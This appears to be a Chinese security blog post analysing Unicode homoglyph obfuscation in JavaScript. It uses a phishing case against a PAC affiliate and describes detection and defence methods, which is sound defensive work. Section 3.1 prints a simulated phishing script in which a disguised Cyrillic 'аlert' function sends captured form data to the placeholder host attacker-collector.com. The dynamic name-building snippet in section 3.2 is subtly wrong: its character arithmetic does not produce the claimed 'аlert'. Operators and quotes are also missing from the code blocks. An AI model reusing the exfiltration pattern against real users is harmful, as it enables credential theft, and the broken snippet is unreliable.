
1. 项目概述当Unicode字符成为攻击者的“隐身衣”最近在分析一起针对特定组织的网络钓鱼攻击样本时我遇到了一个相当“别致”的JavaScript混淆手法。它没有使用传统的变量名替换、代码压缩或者复杂的控制流平坦化而是巧妙地利用了Unicode字符集里一些“长相相似”但编码不同的字符来构造一种视觉上的欺骗。简单来说攻击者写了一段看起来完全正常的JavaScript代码比如一个alert(‘test’)但其中的某个字母比如a实际上是一个来自西里尔字母表或其他字符集的、外观几乎一模一样的Unicode字符。对于人眼和许多简单的代码编辑器预览来说这行代码毫无破绽但浏览器或Node.js的JavaScript引擎在解析时却会因为遇到了非法标识符而报错或者更糟——被攻击者精心设计执行完全不同的恶意逻辑。这种攻击的核心我称之为“视觉混淆”或“同形异义字攻击”。它瞄准的不是代码的逻辑复杂性而是人类审查者和自动化工具在“看”代码时的盲区。对于安全分析人员、代码审查者甚至是依赖正则表达式或简单字符串匹配的自动化扫描脚本来说这种混淆都具有极强的隐蔽性。攻击者借此将恶意载荷“隐藏”在看似无害甚至白名单内的代码片段中极大地提高了网络钓鱼邮件附件、恶意广告脚本或供应链攻击的成功率。这次针对美国某政治行动委员会附属机构的攻击正是这一技巧在野利用的典型案例。接下来我将彻底拆解这种手法的原理、实现方式、检测难点以及我们该如何防御。2. 核心技术原理Unicode同形异义字与JavaScript解析要理解这种攻击我们必须深入到字符编码和JavaScript语言规范的层面。2.1 Unicode中的“视觉陷阱”Unicode的目标是为全世界所有字符提供一个统一的编码。这包括了拉丁字母我们常用的英文a-z, A-Z、希腊字母、西里尔字母俄语等、甚至各种数学符号和表情。问题在于不同字符集中的某些字符在视觉呈现上可能极其相似。例如拉丁小写字母a(U0061) vs.西里尔小写字母а(U0430)。在绝大多数字体下它们看起来都是一个标准的“a”。拉丁大写字母A(U0041) vs.希腊大写字母Α(U0391) vs.西里尔大写字母А(U0410)。拉丁小写字母c(U0063) vs.西里尔小写字母с(U0441)。连字符-(U002D) 与 短破折号–(U2013) 或 连字符‑(U2011) 也容易混淆。攻击者正是利用了这种“同形异义”特性。他们将代码中的关键标识符如函数名alert、变量名userInput或操作符替换成这些视觉相似的Unicode字符。一份代码在视觉层和逻辑层产生了割裂。2.2 JavaScript引擎如何“看待”标识符根据ECMAScriptJavaScript的标准规范标识符变量名、函数名等的命名规则允许包含Unicode字符。更具体地说它允许使用UnicodeLetterID和UnicodeCombiningMark等类别中的字符。这意味着从语法上讲使用西里尔字母а(U0430) 作为变量名的一部分是合法的。关键点在于alert(拉丁字母) 和аlert(首字母为西里尔а) 是两个完全不同的标识符。当引擎解析аlert(‘test’)时它会尝试寻找一个名为аlert的函数。由于这个函数通常不存在在非严格模式下它可能被当作全局对象的一个属性默认为undefined调用undefined(‘test’)会导致TypeError: undefined is not a function。在严格模式下或更复杂的上下文中则会直接报引用错误。攻击者可以预先定义这个“伪装的”函数。例如他们可以声明function аlert() { /* 恶意代码 */ }那么后续调用аlert()时执行的将是恶意函数而审查者一眼扫过去看到的却是人畜无害的alert。注意这种混淆不仅限于函数名。对象属性名、URL协议如javascript:、HTML事件处理器如onclick中的字符串都可能被篡改。例如一个链接hrefjavascript:аlert(1)视觉上是正常的但点击后可能因为标识符错误而不执行或者执行恶意定义的аlert。2.3 为何传统检测方法容易失效静态字符串匹配失效无论是杀毒软件的签名库还是WAFWeb应用防火墙的规则集如果只是简单匹配alert、eval、document.cookie这样的字符串会被这种混淆轻松绕过。因为二进制层面alert(61 6C 65 72 74) 和аlert(D0 B0 6C 65 72 74) 的字节序列完全不同。正则表达式盲区如果正则表达式没有考虑Unicode字符集或者使用了如[a-zA-Z]这样的范围同样会漏检。需要用到\w在某些模式下匹配单词字符包括部分Unicode或更具体的Unicode属性类但这类检测往往复杂且容易误报。人工代码审查疲劳在分析大量代码或经过压缩的代码时人眼很难分辨出单个字符的细微差异尤其是在字体渲染不清晰或代码高亮不区分字符集的情况下。3. 攻击案例实操拆解与复现分析让我们通过一个高度简化的模拟案例来还原攻击者可能的手法。请注意以下代码仅用于教育目的演示混淆原理。3.1 第一阶段构造混淆的恶意载荷假设攻击者想窃取用户在钓鱼页面输入的凭据。他们可能会准备如下代码// 恶意函数窃取数据并发送到攻击者服务器 function sendDataToAttacker(data) { var img new Image(); img.src https://attacker-collector.com/steal?data encodeURIComponent(data); } // 关键混淆点使用西里尔字母 а (U0430) 定义了一个伪装成“alert”的函数 function аlert(message) { // 这里不是弹出警告而是窃取“message”内容 console.log([恶意函数被调用] 收到消息:, message); sendDataToAttacker(Fake Alert Data: message); // 为了不引起怀疑也可以选择什么都不做让表单“静默”提交失败。 } // 正常的表单提交事件处理函数被混淆注入 document.getElementById(phishingForm).onsubmit function(event) { event.preventDefault(); var username document.getElementById(username).value; var password document.getElementById(password).value; // 视觉上看起来是弹出提示实际上调用了恶意的 аlert аlert(登录中请稍候...); // 此处调用的是恶意函数 // 延迟后可能仍然提交到钓鱼后台完成整个窃取流程 setTimeout(function() { event.target.submit(); }, 1000); };在这段代码中function аlert中的а是西里尔字母。当用户点击提交触发onsubmit时会调用аlert从而执行窃取数据的逻辑。用户可能在等待“登录中”提示消失而数据早已被发送到attacker-collector.com。3.2 第二阶段混淆与隐藏攻击者不会直接提交如此明显的代码。他们会结合其他混淆技术混合混淆将上述Unicode混淆代码用传统的JavaScript混淆工具如obfuscator.io、javascript-obfuscator再进行一次处理将变量名sendDataToAttacker等变成无意义的_0x1a2b3c并加入死代码、控制流混淆。动态生成将关键混淆字符的Unicode码点如\u0430通过String.fromCharCode()或模板字符串动态拼接进一步规避静态扫描。// 动态构造恶意函数名 var maliciousFuncName a String.fromCharCode(0x0430 - 0x0061) lert; // 结果是 аlert window[maliciousFuncName] function() { /* 恶意代码 */ };隐藏于合法库中将几行混淆后的恶意代码插入到如jQuery、Chart.js等被广泛引用的合法开源库的压缩文件中。由于库文件本身体积大、代码晦涩插入的少量异常字符很难被察觉。3.3 第三阶段投递与利用在此次针对PAC附属机构的攻击中攻击流程可能如下鱼叉式钓鱼邮件攻击者伪装成合作伙伴或内部IT部门发送邮件主题可能与政治捐款、活动邀请或系统升级相关。恶意附件或链接邮件中包含一个.html附件或链接指向一个精心伪造的登录页面例如模仿内部协作平台或捐款门户。页面加载恶意脚本该页面引用了被篡改的、包含Unicode混淆的JavaScript文件。凭据窃取工作人员输入用户名和密码后脚本通过混淆后的函数窃取凭据并可能同时将用户重定向到真正的官网使其难以察觉。横向移动攻击者利用窃取的凭据访问内部系统进行进一步的网络渗透或数据窃取。实操心得在分析这类样本时不要相信你的眼睛。永远将可疑代码复制到一个纯文本编辑器如VS Code、Sublime Text中并切换显示Unicode字符的插件如“Highlight Bad Chars”或者直接使用xxd或hexdump命令查看其十六进制表示这是发现字符差异的最可靠方法。4. 检测、防御与应对策略面对这种“视觉欺骗”我们需要从开发、安全运营和代码审查多个层面建立防线。4.1 代码层面检测方法规范化与规范化比较Unicode规范化使用Unicode规范化形式如NFC或NFD将代码中的字符转换为标准形式。虽然不能直接解决同形异义字问题因为a和а都是合法的、不同的字符且规范化后通常不变但可以解决由组合字符序列造成的混淆。重点检查编写脚本检查标识符中是否混用了来自多个Unicode区块Block的字符。例如一个标识符中同时出现拉丁字母和西里尔字母就非常可疑。使用AST抽象语法树进行分析这是最强大的检测方式。使用如Esprima、Acorn或Babel Parser等工具将JavaScript代码解析成AST。遍历AST中的所有标识符节点Identifier、字符串字面量Literal和模板字面量TemplateLiteral。对每个节点中的字符串值检查其字符的Unicode码点范围。标记出任何包含“非预期”字符集如在标识符中发现西里尔字母、希腊字母而项目本身是英文项目的节点。// 示例使用Acorn进行简单检测 const acorn require(acorn); const code function аlert() {}; const ast acorn.parse(code, { ecmaVersion: latest }); function walk(node, callback) { callback(node); for (let key in node) { if (node[key] typeof node[key] object) { if (Array.isArray(node[key])) { node[key].forEach(child child walk(child, callback)); } else { walk(node[key], callback); } } } } walk(ast, (node) { if (node.type Identifier) { const name node.name; // 检测是否包含非拉丁字母简单示例 if (/[^\x00-\x7F]/.test(name)) { // 匹配非ASCII字符 console.warn(可疑标识符: ${name} at line ${node.loc?.start.line}); } } });4.2 工程化与开发流程防御代码仓库预提交钩子Pre-commit Hook在Git的pre-commit钩子中集成上述AST检测脚本。禁止提交包含混合字符集标识符的代码从源头杜绝开发者无意引入或攻击者通过漏洞提交的混淆代码。依赖项安全扫描使用像Snyk、npm audit、OWASP Dependency-Check等工具但它们主要针对已知漏洞。需要补充自定义扫描对node_modules中安装的依赖包定期运行Unicode混淆检测脚本。重点关注直接依赖和间接依赖中.js文件的内容。CI/CD管道集成安全检测在持续集成流程中添加一个安全检测阶段。不仅运行SAST静态应用安全测试工具如SonarQube、Checkmarx也运行自定义的Unicode混淆检测器。构建产物如Webpack打包后的bundle.js也应被扫描因为混淆可能发生在构建过程中引入的插件里。4.3 运行时与浏览器端缓解内容安全策略CSP部署严格的CSP头部限制脚本只能从受信任的源加载。这可以阻止内联脚本和未经授权的外部脚本执行即使页面被注入了混淆代码只要其来源不在白名单内浏览器就会阻止。script-src self https://trusted-cdn.com;禁用unsafe-inline和unsafe-eval。子资源完整性SRI对于从CDN引用的第三方库使用SRI。通过为脚本标签添加integrity属性浏览器会验证下载文件的哈希值是否与指定值匹配确保文件未被篡改。script srchttps://example.com/library.js integritysha384-.../script输入净化与输出编码对于任何用户输入包括URL参数、表单数据最终要动态生成脚本或HTML的情况必须进行严格的净化或编码。防止攻击者通过输入注入包含混淆字符的恶意脚本。5. 安全分析人员的实战排查技巧当怀疑遇到此类攻击时可以按照以下步骤进行排查获取样本获取可疑的.js文件、HTML文件或网络流量中的脚本片段。十六进制查看第一件事是用hexdump -C file.js或xxd file.js查看原始字节。直接搜索西里尔字母а的UTF-8编码D0 B0或者拉丁字母a的编码61对比上下文。使用文本编辑器高亮在VS Code中安装Bad Characters或Unicode Highlight插件它会用特殊颜色高亮显示非ASCII字符一目了然。AST解析与遍历如上文所述编写或使用现成的脚本进行AST分析自动标识出可疑节点。动态调试如果代码允许执行在隔离的沙箱环境中可以尝试在浏览器开发者工具的“源代码”面板中查看格式化后的代码。现代开发者工具通常能较好地显示Unicode但有时也会“美化”显示需要结合调试器在变量查看器中观察实际的字符串值。搜索引擎与威胁情报将代码中的可疑字符串如独特的域名attacker-collector.com、函数名片段或混淆特征如特定的Unicode字符组合在VirusTotal、URLhaus等威胁情报平台进行搜索看是否有已知关联。常见问题排查速查表现象可能原因排查工具/方法JavaScript代码在控制台报ReferenceError但代码看起来完全正确。标识符中混入了同形异义Unicode字符。1. 复制报错的标识符到纯文本编辑器。 2. 使用charCodeAt()逐个检查字符码点。代码静态扫描工具未报警但行为异常。混淆字符绕过了基于字符串匹配的规则。1. 对代码进行AST分析。 2. 检查标识符的字符组成。引用的第三方库文件大小有细微变化。库文件可能被篡改插入了混淆代码。1. 比对官方发布的哈希值。 2. 使用SRI确保完整性。在代码编辑器里显示正常但复制到别处后格式错乱。可能包含了不可见的Unicode控制字符或组合字符。使用hexdump或在线Unicode分析工具查看。6. 总结与个人实践建议这种利用Unicode同形异义字进行的JavaScript混淆是一种成本低、隐蔽性高的攻击手法。它不追求技术上的极度复杂而是巧妙地利用了人类和简单自动化工具的认知缺陷。防御的重点在于“不信任”表面呈现而要深入到代码的“骨骼”——字符编码和语法结构。在我的安全审计实践中已经将Unicode混淆检测作为代码审查的固定环节。对于任何来自外部的、动态生成的或版本哈希可疑的JavaScript资源都会先过一遍简单的字符集检查脚本。同时我也强烈建议开发团队在CI/CD中集成这类检查并将“禁止在标识符中使用非拉丁字母”作为一条编码规范除非项目有明确的多语言需求这能极大地减少攻击面。最后保持对威胁模型的更新意识。攻击技术总是在进化从简单的字符串替换到复杂的控制流混淆再到如今这种视觉欺骗。作为防御者我们需要建立多层、深度防御的体系从严格的CSP、SRI到代码级的静态分析和运行时监控缺一不可。当肉眼不可靠时就让工具和流程成为我们最敏锐的眼睛。